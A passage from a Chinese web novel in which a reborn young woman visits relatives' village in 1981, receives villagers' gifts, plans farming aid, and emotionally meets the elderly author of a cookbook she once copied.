不知道是不是今天运气好,没多久他们就抓到了十多只,连苏丽珍这个新手都成功逮住两只,难得把她高兴够呛。 一口气抓了三十多只,苏丽珍觉得差不多了,正好也四点钟了,等会儿回去还要去西边大河边采蒲棒,就让大家停了手。 没想到她们这边刚上岸,原本四散在小溪里玩耍的孩子们忽然都围了过来,每个小家伙手里都拎着一串用水草绑着的蝲蛄。 打头的就是宝丫那两个本家侄女,其中一个之前偷偷说苏家好的小姑娘大着胆子上前,把手里的一串蝲蛄递给了苏丽珍,小声说道:“这个给你们!” 苏丽珍自然不能要,于是婉拒道:“这是你们抓的,我们不能拿,你们带回家去吧。不过,还是要谢谢你们。” 小姑娘没再吱声,反而直接过来,不由分说就把手里的蝲蛄放进了苏丽珍他们的背篓里。 另一个小姑娘也有样学样,然后有她们带头,其他年纪小的几个男孩也全都一溜烟把自己抓到的蝲蛄扔进背篓里,苏丽珍和苏小麦在旁边拦都拦不住。 男孩们比较害羞,送完了蝲蛄就纷纷跑得远远的。 只有两个小姑娘没动,还是先前开口的小姑娘有些腼腆道:“俺们经常抓蝲蛄,这东西不稀罕……俺爸说,俺们队上几乎家家都有东西卖给你们家,俺妈也说多亏了你们,大伙儿日子好过不少……” 苏丽珍和苏小麦对视一眼,看着两个小女孩认真的眼睛,以及躲到远处时不时向这边张望的男孩子们,心中有些触动。 应该是这些孩子的父母们对她们家有好感,所以也影响到了这些天真善良的孩子们。 面对这样淳朴的善意,苏丽珍觉得自己有点没办法拒绝。 所以当他们一行回返的时候,这只背篓几乎装满了大半的蝲蛄。 另一边,张宝洋也收获颇丰,钓到了几条巴掌大的河鱼,都用草绳穿了起来。 之前一过来就奔向他的两个年纪略大的男孩,也把自己的收获t塞给了张宝洋。 张宝洋跟自家妹妹相视一笑,也没有拒绝这份心意。 回村的时候,他们特意绕了一圈,去看村子南边的大河。 说是大河,其实是由一片大大小小的河泡组成,雨水多的时候,这里是一片开阔的河面,旱时就是一大片深深浅浅的水洼湿地。 一些浅水泡及河边上生长了许多芦苇和香蒲。香蒲接近人高,结出的棕黄色蒲棒又大又粗,一枝枝立在碧绿的蒲叶间格外显眼。 水边蛇虫多,张宝洋没让苏丽珍他们近前,自己绑好了裤腿,又不知从哪儿摸出一把小刀,过去三下五除二就割了一大捧蒲棒回来。 苏丽珍好奇地拿起一枝,近看之下,蒲棒很像过几年大行其道的火腿肠,摸起来有些粗糙,闻着还有股蒲草的清香。 宝丫说,不拘男孩、女孩,蒲棒都是村里孩子们夏天最喜爱的玩具。 晒干的蒲棒不易燃,点燃后不起明火,生出的烟雾无毒,还能熏跑猖獗的蚊子、小咬,兼顾娱乐的同时,还是最佳的防蚊利器。 在无数酷暑难消的夜晚,大人们在院子里纳凉,孩子们就会点上蒲棒在旁边玩耍。 点燃的蒲棒火光微弱,像握在手中泛着点点微光的星辰,但是当大家握着它相互挥舞时,这些微光又会变成或长或圆游弋的光带,在夜幕中闪烁,带来无穷乐趣。 苏丽珍只要一想,就觉得那样的画面无比生动,所以不自觉地,回家的路上拿着那枝蒲棒一直舍不得撒手。 没想到回了张家,还有惊喜,竟是张表舅的岳丈一家听说了苏丽珍姐妹来了,特地从邻村赶过来看望。 张表舅岳家姓陈,其中陈老太太和陈大伯跟苏丽珍一家最熟悉,当初帮着收拾来找茬的周氏兄弟,娘儿俩都没少出力。 除了陈家,还有几个张家的本家兄弟,之前也帮过苏家不少忙。 双方见了面,自然是一番亲近问候,你来我往,一时热闹得很。 所有过来的人都没空着手,各自从家里带了鸡鸭肉蛋或者瓜果菜蔬,陈家还拿来了一篓子泥鳅鱼,这些泥鳅条条个大肉厚,肥实得很,要凑齐这么一篓子不知道要废多少事。 更让苏丽珍姐妹没想到的是,除了这些平时跟他们家或多或少有些联系的人家,村里许多她之前见都没见过的人,比如上午才碰到的张来福老两口,也都纷纷把自家的东西送了过来。 他们有的拎着一只鸡或一只鸭,有的端着一笸箩鸡蛋,有的是园子里头茬下来的新鲜瓜果,不少人话都不好意思跟苏丽珍她们撘上一句,把东西往院子里一搁,人就匆匆走了,苏丽珍和苏小麦在后头追都追不上。 姨姥姥更是直接拉住了她们姐妹,温和地劝道:“收着吧,这是队上大伙儿的一番心意。” “托你们家的福,大伙儿地头分的粮食,家养的猪羊鸡鸭,连菜园子里最不值钱的白菜、土豆都能换个好价钱,更别说好多人家去你家那个建筑队干活拿工钱!这一年大伙儿的日子好过不少,所以知道你们来,大家才想表示表示。” 第125章 苏丽珍听了,心里却有些不是滋味。她自认重活一世,一心想的是弥补自己的父母亲友,做生意挣钱也是为了让他们能过上富裕优渥的生活。 她的所有出发点都是为了自己在意的人,即便之前想过自家这样多少能帮助这些乡人一把,但她从不知道,这群质朴善良的人们会为此对她这般感念于心。 她真的该好好想一想,或许老天爷让她重活一回,并不只是让她为亏欠的亲人赎罪,在她利用前世的见识和先知积累了财富后,也许她也应该为这些淳朴的人们做些力所能及的事。 那么她能做什么呢? 她看着院子里这些堆得小山似的各家礼物发了会儿呆,慢慢地,心里还真有了一些想法。 只是她毕竟没有在农村生活的经历,未免这些想法不能符合实际,她决定得闲先问过张表舅他们的意见再说。 “珍珍,你坐在那儿想什么呢?快过来啊,陈奶奶说待会儿要给你做蝲蛄豆腐呢!” 苏丽珍回过神来,就见姨姥姥和陈奶奶正领着一大群小辈在水井边有说有笑地洗刷蝲蛄,连忙应了一声,走了过去。 姨姥姥看她过来,笑眯眯道:“珍珍和小麦有口福喽,你们陈奶做鱼虾的手艺可是一绝,今晚咱就让她上灶做这蝲蛄,非让她把压箱底儿的本事都使出来不可!” 陈奶奶闻言大气地一挥手,“老姐姐这是看得起俺,虽说咱做别的照比老姐姐那是差了十万八千里,但是就单说做这蝲蛄和泥鳅,那俺不多不少,那是程咬金上阵,怎么也有他三板斧!” 众人不由都笑出声来。 于是有了陈奶奶的加入,当天的晚饭自然更加丰盛。 别的先不说,就说苏丽珍一直好奇的蝲蛄豆腐就是第一道被端上桌的大菜。 跟苏丽珍之前想的不同,蝲蛄豆腐虽然名字里有豆腐,但是实际烹饪的时候却跟豆腐没有半点关系。 这道菜还比较麻烦,要把事先清洗干净的蝲蛄都放进石槽里全部捣碎,然后用一块纱布将浆汁过滤出来,滤出的蝲蛄浆汁加入鸡蛋清搅匀,然后缓缓倒入烧开的汤锅里。 汤锅里的汤只用少量的油和葱花爆香,然后加入简单的清水烧开即可,千万不能自作聪明加入各种佐料或者高汤汁,那样只会破坏蝲蛄原汁原味的鲜香。 蝲蛄汁倒入汤锅后很快就会凝固成粉色的豆花状,之后用勺子慢慢搅开,等再次烧开后撒上一把嫩绿的韭菜叶,最后再加一点盐,滴两滴香油就可以出锅了。 这道蝲蛄豆腐,口感细嫩柔滑,味道及其鲜美,清爽却不寡淡,难怪是东北河鲜中的上品佳肴,果然令人尝之难忘。 除了蝲蛄豆腐,陈奶奶听说苏丽珍吃不了辣,又做了一道油焖蝲蛄和酱焖泥鳅鱼,同样鲜美好吃的不得了,尤其是碗底的汤汁滋味浓郁,舀上一勺浇在米饭上,简直是神仙味道。 今晚张家客人多,除了陈家和相熟的本家亲戚,姨姥姥把大队长和书记也请来了,在院子里满满当当支了三桌,热闹的不得了。 姨姥姥知道苏丽珍不是寻常小姑娘,怕她介意,请大队长和书记前还特地跟苏丽珍打了个招呼。 苏丽珍自然不会介意,事实上如今还是81年,家庭联产承包责任制要到明年一月开始才会在全国正式推行,人民公社也要83年10月才能结束。 在这之前,村里的大队长和书记都是举重若轻的人物,谁家有个大事小情,都是村里人的座上宾,所以她当然不能让张家因为这种小事惹人不快。 再者,她听说,大队干部之前对张家也是比较照顾的,要不然也不会把队里的马车经常租借给张家。 再说,她之前的一些想法,想要帮助村里人,也绕不过他们。 所以,等大队长和书记过来后,苏丽珍全程表现的谦逊有礼,落落大方,让两人印象十分好,还对苏丽珍和苏小麦一再表示了感谢,希望她们饭店今后能继续照顾大伙儿的买卖。 饭吃到一半,张舅妈就回来了。 通常她在店里七点下班,为了方便就和张表舅一起住在公社租的房子,今天因为惦记苏丽珍姐妹,干脆请了会假,早出来一个小时,直接回家了。 刚到家,就看见苏丽珍坐在一群大人孩子中间,一边吃、一边听人说笑,那小脸蛋红扑扑的,嘴角也弯弯的,看着就喜人!她心里不禁十分高兴,总算觉得苏家兄弟两口子这份心没白费。 看看这孩子,这不是比之前开朗多了! 张舅妈随了陈奶奶,历来是个活泼开朗的性子,因为她回来,这院子里越发热闹,这顿饭直吃到天擦黑才散。 等送走了客人后,苏丽珍立即迫不及待地和张家孩子们一起,把已经烘得八分干的蒲棒点燃了。 黑夜里开始陆续亮起点点微光,就像有人拿着会发光的笔在一片漆黑的幕布上写写画画,每一笔都是宛如星辰闪烁般的美好。 这一晚,苏丽珍躺在簇新的草席上,伴着窗外三两声虫鸣,睡得格外香甜。 她们在张家庄住了两个晚上,上午上山采花,下午下河摸鱼;晨起菜园摘菜、瓜地捡瓜,傍晚在夕阳下的田埂上数青蛙。 苏丽珍觉得前后两辈子都没过过这样轻松惬意的生活。 如t果不是怕麻烦张家人,她其实很想让爸妈也来住几天,好好感受一下山野间自然旖旎的风光和淳朴的乡土人情。 第三天早上她们才回城,来时大包小包,回去也是大大小小堆了半个马车。 临走前,苏丽珍还特意请姨姥姥帮着拉了个名单,想着回去后跟苏卫华夫妻商量,买些糖酒、肥皂之类乡下不好买的紧俏货作回礼,到时候拜托张表舅再挨家送一趟。 回去的路上闲来无事,苏丽珍便把之前的想法跟张表舅提了一嘴。 张家庄依山傍水,自然资源丰富,但是人口却不多,现在村里家家户户都养了不少家禽家畜,但其实按照张家庄的地理优势,这些禽畜的数量还可以增加。 所以她想请农业大学的学生过来给乡亲们讲讲课,让大伙儿学会如何利用现有资源调配出效果最好的禽畜饲料,以及防病防疫、科学选种育种等养殖技术,争取家家户户在养殖这一块做到利益最大化。 多养出的牲畜也不愁卖,现在毕竟是改开初期,各行业社会需求都不小,可以说市场前景巨大,就算她家一时吃不下,但放在整个凤城市那就不算什么了。 到时她也可以找刘五爷帮忙,把村民们手里的家禽牲畜卖出去。 此外,东北天冷的早,凤城十月底就零下了,而种地却要等到来年五一前后,这么长的空档期如果能利用起来,比如盖大棚种植反季蔬菜,也不失为一个挣钱的好办法。 她自打重生后就一直有收集报纸和时文期刊的习惯。去年她就曾在一张旧报纸上看到一条报道,说国家分别于1975年、1976年和1978年,连续召开了三次“全国塑料大棚蔬菜生产科研协作会”会议,大棚种植模式及相关技术渐趋成熟。 一方面,她想通过农大的赵老,帮忙介绍懂得大棚种植技术的老师或者学生,到时将人请到村子里指导大伙儿学习技术。 另一方面,她知道盖大棚最主要的是塑料薄膜。 现在普通人进建材商店买塑料布还需要工业券,而盖一座蔬菜大棚要用到的塑料布,仅靠三瓜俩枣的工业券显然是杯水车薪,怕是将来只这一项就难倒所有人。 而她的“筑梦”公司这小半年因为薛老爷子牵线搭桥,打通了不少建材厂家,其中有两家刚好能生产塑料布。 所以到时由“筑梦”出面集中采购,回头再转卖给乡亲们;或者直接签订协议,未来二、三年内,以大棚出产的农产品来抵扣这笔款项。 这样既能解决乡亲们盖大棚的原材料问题,也能适当缓解大伙儿前期的经济压力。 不过这后一条她暂时先不打算说出来,不说“升米恩,斗米仇”,单说她想帮助大伙儿寻找发家致富的路子不假,但不代表要大包大揽,事事兜底,因此反倒养出大家的惰性。 而等苏丽珍陆续说完自己的想法,张表舅整个人都听住了! 他连车也顾不上赶了,匆匆把马车停在路边,就急急问苏丽珍道:“珍珍,你说的这些都是真的?你真要教俺们村大伙儿养牲口,还有那个盖大棚?” 苏丽珍闻言,笑着纠正道:“表舅,不是我教,是我去农大请专业的老师来教导大家。” 张表舅一拍大腿,“都一样!珍珍啊,你这可是帮了俺们一个大忙!” 是屯子里大伙儿不想多养几只鸡鸭吗? 当然不是! 农村一向有句老话,“家财万贯,带毛不算。” 这玩意儿三只、五只的好摆弄,十只、八只的也不算难,可再多了,它就不好整了。一赶上闹瘟闹病的,小鸡小鸭就一窝一窝的死,啥招也不管用。 再加上你想让这些东西多长肉、勤下蛋,光靠喂菜叶子、杂草可不行,得顿顿搭配粮食谷物,隔三差五还要弄点鱼虾、虫子之类的荤腥,这都是有成本的。所以大伙儿谁家也不敢一次抓太多,就怕一个不注意,赔个底儿朝天。 这要是有专门懂行的专家师傅来教导指点大家,那可解决老大的问题了! 还有那个盖大棚种反季菜,听着就适合他们这嘎达。要不然一冬天好几个月,屯子里老少爷儿们猫冬闲不住,总偷摸凑在一起耍钱喝大酒。糟蹋钱不说,还带坏风气,把底下小辈们都教坏了,大队长和书记为这事没少生气。 到时候让大伙儿有事干,还能挣钱,这多好啊! 他这一年抽空跟着儿子认了不少字,虽然看报纸还费劲,可他按苏老弟教的,一有空就听收音机,现在不说多有文化,起码的见识还是有一点的。 他知道这世上各行各业都有自己的学问,种地养鸡也一样,听说有专家研究出的新型粮种,亩产量能原地翻一番!这可不是光凭他们种一辈子地就能弄出来的。 所以说还是得有学问,懂知识,它能让人的路子越走越宽。 张表舅是越想越高兴,脸上的笑意怎么都压不住,一叠声夸苏丽珍有心。 张表舅的反应也在苏丽珍意料内,只是她担心屯子里民风保守,有些人家会觉得她没事找事。 她倒也不是非要所有人都听自己的,只是也怕自己凡事想当然,到时候真实施起来,犹如空中楼阁,好处还没坏处多,反倒浪费乡亲们的时间精力,所以还是想征求一下村里人的意见。 “表舅,您看村里大伙儿能愿意吗?我想着咱们是不是先跟大队长和书记商量一下,如果他们也觉得没问题,我再着手安排。” 张表舅忙道:“他们有啥不愿意的!这是珍珍你看的起他们,放在别的屯子,那是他们求爷爷告奶奶都求不来的好事!” “不过找大队干部事先说一下也是应该的,你与屯子里非亲非故的,平啥白白给他们出这么大力,咱得让他们这些管事的记住这个人情!放心吧,这事就交给表舅,到时候我给你去找他们。” 苏丽珍听了失笑,她本来没这个意思,表舅却不愿她平白出力。再想想这两天张家人对她的悉心照顾,真觉得血脉亲人也不过如此。 再看看旁边一直拉着她的手,满眼崇拜骄傲的小麦姐,不由也跟着扬起唇角。 她不愿想起过去的自己,那些负面的情绪如今仍能轻易左右现在的她。 可这一世身边的人都这样好,真的太好了,她舍不得辜负他们。 越是接近市区,路段越好,所以他们回去时,用的时间比去时要快,差不多九点刚过就到了饭店。 苏丽珍跳下车,顺手扯过一大兜子干菜,准备进店喊人过来帮忙卸车。 刚一进店就见王树惊喜地迎上来,“珍珍回来了!” 苏丽珍朝他笑了笑,“回来了,我爸妈这两天还好吧?” 王树一边十分有眼力见儿地接过她手里的干菜兜子,一边飞快答道:“好着呢!就是叔和婶子嘴上不说,但是大伙儿都能看得出来,他们还挺惦记你和小麦的。” 说完,他又忙补充道:“哦,对了,那天咱们救过的孟老出院了,和前儿那位沈先生今天又一起过来了,叔和婶子亲自接待的,人才刚进包厢几分钟。” 第126章 苏丽珍微微一顿,她其实不是很想再见到沈家人,但是孟老也过来了,这种情况下于情于理都该过去打声招呼。 压下心底的烦躁,她让王树喊其他人帮张表舅卸货,自己则叫上苏小麦准备去包厢。 穿过大堂,还没等走近包厢,苏丽珍就听见里头有人大着嗓门嚷道:“哎呀,我一听说那天那个情况,就觉着真是危险啊!” 苏丽珍怔了怔,有些不敢置信,猛然加快了脚步。 随着她越是靠近包厢门口,那大嗓门说的话也越发清晰,清晰到几乎与她记忆深处时常回想起的那道声音重合。 “这点辣椒面是我手里最后的存货了,那天请你吃了一碗凉皮,今天是咱老家的中秋节,咱再吃顿串串吧!” “来,孩子,就算再伤心难过,也要先把肚子填饱,你记着苏爷爷的话,哪怕是生死大事,也得吃顿饱饭再解决!” 与此同时,屋里的人也兀自热情地说道,“小苏、小李,真是多亏了你们,要不然我怕是再见不着我这姐夫了!不行,我得给你们鞠一躬,从今以后,你们就是我苏厚德的大恩人!” 听到“苏厚德”三个字,苏丽珍几乎是欣喜若狂,泪水也不受控制地夺眶而出,激动地t险些要站不住了。 她甚至觉得一切都那么不真实! 明明眼前只隔着一道轻盈的深红色桃木珠帘,她却没有勇气掀开它,生怕这一切不过是一场梦境、或是一个误会,让她心底最深的期待落空。 “珍珍?” 见苏丽珍站在门口迟迟不动,苏小麦终于发现不对劲,一抬头这才看见她面色通红,脸上又哭又笑的,怪异极了,不由当场惊叫出声:“珍珍,你怎么了?” 这一嗓子自然惊动了包厢里的人,尤其苏卫华夫妻,听出苏小麦的声音,直觉不对,立时冲出房间,结果一眼就看到两人的心头肉这副失常的样子,直接吓得够呛! 苏卫华声音都变了调,“咋了这是!珍珍,快让爸看看,是不是哪儿不得劲?” 然而此时的苏丽珍什么也顾不上,因为只一眼,她就认出了走在最后的那个老人! 他比记忆中年轻许多,至少头发和眉毛还不像前世初见时那样花白如雪。 依旧是干干瘦瘦的小老头,却总是笑呵呵、精神头十足的模样。 是她的苏爷爷没错!是那个上辈子拯救了她,把她从错误的道路上拉回来的苏爷爷! 所有的忐忑、不确定瞬间化作巨大的喜悦,让她推开父母的手臂,猛然冲到老人面前,像上辈子在米国街头每次受了欺负时那样,几乎哽咽着喊道:“苏爷爷!” 这一声把所有人都喊楞了,苏厚德更是面露诧异。 他看着眼前这个满脸是泪的女孩,对上她那双充满依恋的眼睛,有些不确定道:“孩子,你认识老汉我?” 与记忆中的慈爱疼惜不同,此刻苏爷爷看她的眼神只有惊讶、好奇和陌生,苏丽珍不禁怔了一瞬,终于反应过来眼下是什么情况。 是了,这时的苏爷爷根本还不认识她,是她没忍住,反应过度了! 她这会儿不用回头也知道,身后的父母亲人面对她刚刚失态的样子有多着急! 苏卫华和李翠英也确实着急,听苏厚德这样问,也不禁拉着她急切地追问道:“是啊,珍珍!你怎么认识苏老爷子的?你是不是有什么事?你跟爸妈说啊!” 苏丽珍飞快抹了把脸,强自收摄住心神。好在她重生后一直想着去首都找苏爷爷,曾经在脑海里不停设想与他老人家重逢时的情景,为此,还一早就在心中准备了一个借口。 她吸了口气,努力调整好思绪,让自己的表情看起来自然一点,然后才看着苏厚德,轻声解释道:“苏爷爷,我刚刚在包厢外听见您自称‘苏厚德’,所以虽然您不认识我,但是我们却早就知道您!也是因为您,我们家才能过上今天富足的生活,可以说,您就是我们家的恩人。” 说完,她又转头对苏卫华夫妻道:“爸、妈,你们不觉得苏爷爷的名字很耳熟吗?” 这一说,倒是把苏卫华和李翠英说愣住了,夫妻俩被转移了注意力,顺着女儿的话一思索,还真觉着这名字耳熟。 苏丽珍也没让他们想太久,直接揭开了谜底,“爸、妈,是《料经》,苏爷爷正是《料经》的作者啊!” “什么!” 苏丽珍这一句话,却是让两边同时惊讶地喊出声。 李翠英一拍大腿:“哎呀,我想起来了!你以前说过的,‘苏厚德’,确实是叫这个名!” 那边正主苏厚德也忙不迭问道:“小苏、小李,你们的意思是,你们手上有《料经》这本书?” 苏卫华夫妻赶忙点头。 对于他们来说,《料经》这本书算是家里一切吃食买卖的起点。 因为它,李翠英的厨艺突飞猛进,信心大受鼓舞;更因为如今店里的主打菜多以书中的部分配方为基础,可以说,这本书就是助他们发家的镇店之宝, 在他们心里,《料经》就是哪个厨艺大家的个人珍藏,他们既然无意间得了书,学了别人家的配方,就相当于是承了人家的好处,自然要记住这份恩惠。 可惜之前听女儿说过,这书是她无意间在图书馆发现的,当时原本书籍已经破旧不堪,等女儿有幸抄录完毕后就被图书馆作废处理了。 且因为这书的原本也是手抄本,并非正规刊印,所以除了留下一个作者名,其他一律不可考,夫妻俩纵使有心也无处用,只能把这份感激默默放在心里。 如今有缘得见原书正主,夫妻俩都觉得应该好好感谢一番,也全了自家一份心意。 苏厚德这边就更激动了,他没想到当年革命时被人一股脑当宝贝抄走的得意之作,居然跨越千里,到了眼前这家人手上。 想到时隔十多年,还能看见自己半辈子心血,老爷子激动得满脸通红。 两边这下就像对上了暗号,一时也顾不上别的,直接热络地攀谈起来。 苏卫华上前一把握住苏厚德的双手,“苏叔,这可真是天大的缘分,我们一时没想起来,原来您就是《料经》的作者!您这本书可是帮了我家不少忙,今天我一定要好好谢谢您老人家!” 苏厚德直摇头,“可不能这么说,要说谢也是我谢你们!这本书在我手上丢了十多年了,我本来已经不抱希望,没想到能被你们捡到!我老汉有生之年还能看见它,也算全了我这辈子最大的念想了!” 他说着,就转头对孟知祥憨憨地笑起来,“姐夫,你听到了吗?我的《料经》找到了!” 孟知祥尤带着几分病容,也回给他一个欣慰的笑容。 苏丽珍看他们说的热切,便忙嘱咐苏小麦上楼把自己抄写的那本《料经》拿下来。 苏小麦不放心她,再三确认她没什么问题后才点头离开。 苏丽珍目送她转身上楼,发了几秒钟的呆,等收回目光时,眼前突然出现了一方雪白的手帕。 “擦擦眼泪吧。” 她循声偏过头,却不期然撞入一双格外深邃的眼。 她不由蹙了下眉,沈瑞是什么时候走过来的?而且还离得这样近。 对方高大的身材几乎将她整个人笼罩住,她极不喜欢这种仿若身处在别人阴影下的感觉,尤其这个人还是沈瑞。 人们都说沈瑞是真正的豪门贵公子,长得好,人聪明,彬彬有礼,待人如沐春风,可只有苏丽珍看过他那冷漠得,更甚寒冬凛夜的眼神。 她漠然收回目光,淡淡道:“不用了,谢谢。”说完,看了眼还在说话的父母和苏爷爷他们,就快步走向包厢旁边的卫生间。 洗手池上有一面方镜,苏丽珍看着镜子里自己的倒影,因为之前情绪过于激动,她的脸依然有些发红,眼睛和嘴唇周围更是泛起了一圈红点。 这是她的老毛病,因为皮肤过于白皙,每次一哭就会起红点,看起来就像过敏一样;再加上之前的泪痕,真是格外狼狈。 想到自己之前这副样子不知道让父母和姐姐多担心,她就格外讨厌这么失控的自己,赶紧拧开水龙头,狠狠搓洗了几遍。 等再抬起头时,脸更红了。 苏丽珍:…… 没敢在卫生间耽误太长时间,正好她出来的时候,苏小麦已经把书拿下来交给了苏卫华。 苏卫华又郑重地把书交到苏厚德手上,有些歉疚地解释道:“苏叔,您原先的那本,珍珍发现的时候就已经不太好了,所以这本是她自己抄的,里面有几个方子也有一点缺失,希望您不要介意。” 苏丽珍当时默写这本书的时候,是用百货商店能买到的最好的笔记本,8开大小,大红色印花塑料封面。 苏厚德颤抖着手接过笔记本,翻开第一页,看到那工整秀丽的“料经”两个字,瞬间红了眼眶。 这本书不仅仅是记录了他毕生所长,更是承载了他大半辈子里最快活的时光。 看到它,就像看到过去所有美好的点滴,所以当身边的亲人一个个离去,连这本书也不能幸免而被人蛮横掳走后,他是真的再没有勇气动笔重新把它写出来。 如今,当这本书以另一种形式重回到他手上时,就像打开了记忆的闸门,与昔日的亲人们能再次相见,尽情诉一诉这些年的辛酸委屈…… 老人双手紧紧攥着这本笔记,泪水几乎是一滴接一滴地砸在上面。 孟知详轻轻拍了拍他的肩膀,想劝解几句,只是不知想到什么,轻轻碰了碰胸口的位置,眼睛也慢慢湿润了。 苏丽珍看着苏爷爷如此,直觉心疼得不行。 她太知道这本《料经》对苏爷爷意味着什么。 他老人家这一生命运t坎坷,历经磨难,其实没过过多少舒心日子。 第127章 苏爷爷原本出生在秦省一户富裕人家,却不幸三岁丧母,十岁丧父,家产又被无良族亲侵占。 剩下他一人无以为继,只能每天在街上给人跑腿打杂,加上邻里接济,艰难过活。 后来十四岁的时候,苏爷爷遇到了从川省来走商的养父,并机缘巧合下帮了养父一个大忙。养父见他孤身一人无依无靠,便收留了他,将他带回了川省。 彼时,养父母膝下只有一个女儿,比苏爷爷年长两岁,一家三口皆是秉性善良之人,对苏爷爷可谓照顾有加,更因苏爷爷聪明伶俐、纯善知礼而将其视如己出。 与养父母一家一起生活的那几年是苏爷爷一生最幸福的时光。 可惜好景不长,苏爷爷的养姐自幼订了一门亲事,只是未婚夫在养姐十五岁那年意外身故,养姐伤心之余加上放不下双亲,于是决定为夫守节,终身不再嫁人。 养姐生的貌美,几年后一次外出,不巧被盘踞当地的一小股兵匪头目看中,欲强行纳养姐为妾。为了避祸,养父只得带着一家人,在朋友暗地相助下,仓皇逃离故土。 当时国内时局不稳,派系林立,兵匪流寇不断,养父带着他们一路向东,横穿半个中国,到了当时的国珉政府金陵城落脚。 因为之前担惊受怕加上一路舟车劳顿,到了金陵不久,养母就一病不起,没多久就撒手人寰。 养父伤心之余还要操劳家中经济,因此落了病根,本想着安心将养两年,没想到他们到达金陵的第二年,侵略战争全面爆发。当年冬天金陵城沦陷,养父在逃难路上去世,苏爷爷也与养姐失散。 眼看着要命丧在日寇的铁蹄下,关键时刻,苏爷爷被一队八路军游击队战士相救,彼时以为自己已经失去所有家人的苏爷爷悲愤之下,参加了八路军,发誓要为养父和养姐报仇雪恨。 苏爷爷跟着八路军一路打鬼子,参加解放战争,建国后就留在了首都,又经组织介绍娶了媳妇,成了家。 没想到因缘际会,十五年后居然再次遇到养姐。 原来当初养姐和他失散后,幸而得贵人救助,一路逃至羊城边界,后来从报纸上看到金陵沦陷,日寇屠杀三十万民众,养姐以为苏爷爷已经遇难,无奈跟随贵人又逃往香江,再经由香江出海到达米国,并最终嫁给贵人之子,也就是孟知祥。 新中国成立后,养姐夫妇毅然选择回国,这才和苏爷爷再次相遇。 亲人相见自然无比欢喜,本以为终于能过上安生日子,可厄运就像附骨之疽,总是死死纠缠着苏爷爷。 苏爷爷的儿子五岁时,他的妻子就因为一场意外瘫痪在床,苏爷爷既要照顾病妻,又要拉扯幼子,即便有亲友帮衬,也吃足了苦头。 可即便苏爷爷照顾的再精心,仍然没能阻挡死神夺走妻子的步伐,苏爷爷的妻子在卧床十年后,于64年春天去世了。 没过两年,那场革命风潮席卷全国,养姐一家又被下放凤城太平庄,不久,养姐和外甥就不幸先后病故。即便后来平反,姐夫孟知祥也不愿独自回返,坚持要守着妻儿的坟冢了此余生。 可以说,苏爷爷的一生命运多舛,经历了太多生离死别。 而这本《料经》既是他的心血,也是他的寄托。 他少年时跟随养父回川省,川蜀一带多美食,养父是个香料商人,同时也是爱吃、会吃之人,所以家中特地请了两个手艺精湛的厨子,每日里各种佳肴小吃不断。 苏爷爷那时常去寻家里的大厨师傅讨教手艺,也是在这个过程中,养父发现他在美食烹饪方面天资卓绝。一道菜经他品尝几次便能将食材、配方猜出哥大概,之后依样复刻,总能仿到九成以上,堪称天才。 养父爱才心切,每每出去走商便将苏爷爷带在身边,走南闯北,遍尝各地美食。 可以说,养父母一家弥补了苏爷爷缺失的亲情,让自幼孤苦的他感受到了家的温暖。 凡《料经》里出现的每一个方子、每一道菜品,他都曾亲手做给养父母和姐姐品尝过,那上面的一笔一划都是他那段无忧无虑岁月的见证。 之后所有苦水熬过的日子里,每次只要他觉得撑不住的时候,就会把自己的这本书拿出来看一看,昔日温暖的回忆总能驱散他内心的痛苦和疲惫。 《料经》一度被人当做值钱的宝贝抢走时,苏爷爷几乎伤心欲绝,后来多方打探也始终没有找到。还是后来他老人家决定只身前往米国寻找儿子的时候,预感自己年老体衰,这一趟怕是有去无回,这才在临行前动笔重新写了一本,想着不管将来能不能找到儿子,总归是留下了一点念想。 前世,苏丽珍是在米国街头结识的苏爷爷,那时的他古稀之年,孑然一身,怀揣着一点微薄的希望,漂洋过海来寻找下落不明的独子。 可最后,连这点念想也在残酷的现实面前,化为泡影。 她想到上辈子苏爷爷在得知独子的死讯后,承受不住打击,一病不起,临终前还在为她做打算,又把自己毕生心血之作留给她,一方面是留作纪念;另一则,也是期望她有机会回国后能有个一技之长养活自己。 苏丽珍时常想,像她这种恋爱脑理智全无的人,落得个那样的凄凉下场是罪有应得,可她的苏爷爷生性善良,古道热肠,凭什么要承受那么多的苦难? 所以她重生后除了照顾好父母、大勇哥,让他们这辈子过上随心所欲的生活之外,另一个目标就是早日找到苏爷爷,然后阻止他的独子去米国,让老人家有个美好的晚年,安享余生。 想起自己的目标,苏丽珍很快从思绪中回神,她压下心中的酸楚,走到兀自伤怀落泪的苏厚德身边,轻声劝道:“苏爷爷,别难过了,如您所说,大家相遇就是缘分。难得这本书又将咱们两家联系在一起,您应该高兴才是。” 苏卫华也忙附和女儿,“对、对,叔,我们能遇见您是喜事,所以今天是个高兴的日子,咱都乐乐呵呵的!” 孟知祥也轻轻拍了拍苏厚德的手臂,眼神中流露出浓浓的关切。 苏厚德本就是个豁达的人,见众人一心宽慰他,心里顿时觉得过意不去,立马抹了一把泪,敞快道:“嗐,这是怎么说的,我倒成了大姑娘,动不动哭鼻子了!” 苏丽珍便悄悄拽了拽父亲的衣袖,示意苏卫华先带苏厚德去洗手间洗把脸,又和李翠英一起招呼孟知祥回包厢休息。 想起这次从乡下带了不少新鲜瓜果回来,她想去洗一盆端过来,却被苏小麦拉住,直说交给她就是了。 苏丽珍转身准备回包厢,这时耳边突然响起一道低沉的声音,“苏小姐,我很好奇,你是怎么仅凭一个名字就能准确认出德叔呢?” 要知道天下之大,同名同姓者不知凡几,仅凭入耳的三个字就笃定来人的身份,看着不像机缘巧合,倒像是蓄谋已久的顺水推舟。 苏丽珍顿住脚步,看向说话的人。 沈瑞的脸生的极好,更兼气质绝佳,就像此刻,他的目光温和清正,一派温文尔雅,似乎真的只是对她之前的反应好奇。但是苏丽珍却能听出他话语中潜藏的那一丝戏谑。 她知道,他看出了她在说谎,可那又怎么样? 不只是他,恐怕刚刚在这里的所有人,过后大概都能想明白她的说法太过勉强。 但是他们有的爱她,有的秉性善良,所以都不会为此为难她、猜忌她。 而只要她自己不说,谁都不会想到她是重生者这样的真相。 包括眼前这位未来数年声名鹊起、无一败绩的商业大亨! 想到这里,她心底甚至升起了一丝隐秘的快/感。 “可能是出于直觉。”她微微仰起脸,直接回视对方,语气平平道。 “我这个人做事一向喜欢凭直觉。沈先生年轻有为,想必是个心思缜密、一丝不苟的人,理解不了我这种随心所欲的风格也是正常。” 到底还是忍不住轻轻刺了一句。 刚好这时苏卫华陪着洗完脸的苏厚德从卫生间出来,苏丽珍便只招呼了对方一句“沈先生请进包厢吧。”然后,就直奔两人而去。 